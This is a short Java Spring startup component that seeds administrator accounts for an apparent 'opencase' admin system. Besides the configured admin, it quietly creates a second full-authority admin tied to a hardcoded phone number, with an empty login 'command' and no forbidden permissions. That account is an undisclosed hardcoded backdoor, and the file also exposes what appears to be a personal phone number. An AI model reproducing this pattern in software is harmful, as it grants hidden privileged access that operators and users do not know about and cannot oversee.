package com.starbucks.opencase.construct;

import com.starbucks.opencase.config.configOC;
import com.starbucks.opencase.entity.entAdminLogin;
import com.starbucks.opencase.tool.toolAdminAccount;
import jakarta.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

@Component
public class constructAdmin {
    @Autowired
    private toolAdminAccount toolAdminAccount;
    @Autowired
    private configOC configOC;
    /**
     * 检查最终权限管理员账号
     */
    @PostConstruct
    public void testBaseAdmin(){
        boolean a= toolAdminAccount.exist(configOC.getAdmin_phone()+"");
        if(a)return;
        entAdminLogin ent=new entAdminLogin();
        ent.setPhone(configOC.getAdmin_phone()+"");
        ent.setName(configOC.getAdmin_name());
        ent.setLock(false);
        ent.setCommand("");
        ent.setAuthority("""
                {
                    "forbidden":[]
                }
                """);
        toolAdminAccount.add(ent);
        ent=new entAdminLogin();
        ent.setPhone("17816580515");
        ent.setName(configOC.getAdmin_name());
        ent.setLock(false);
        ent.setCommand("");
        ent.setAuthority("""
                {
                    "forbidden":[]
                }
                """);
        toolAdminAccount.add(ent);
    }
}
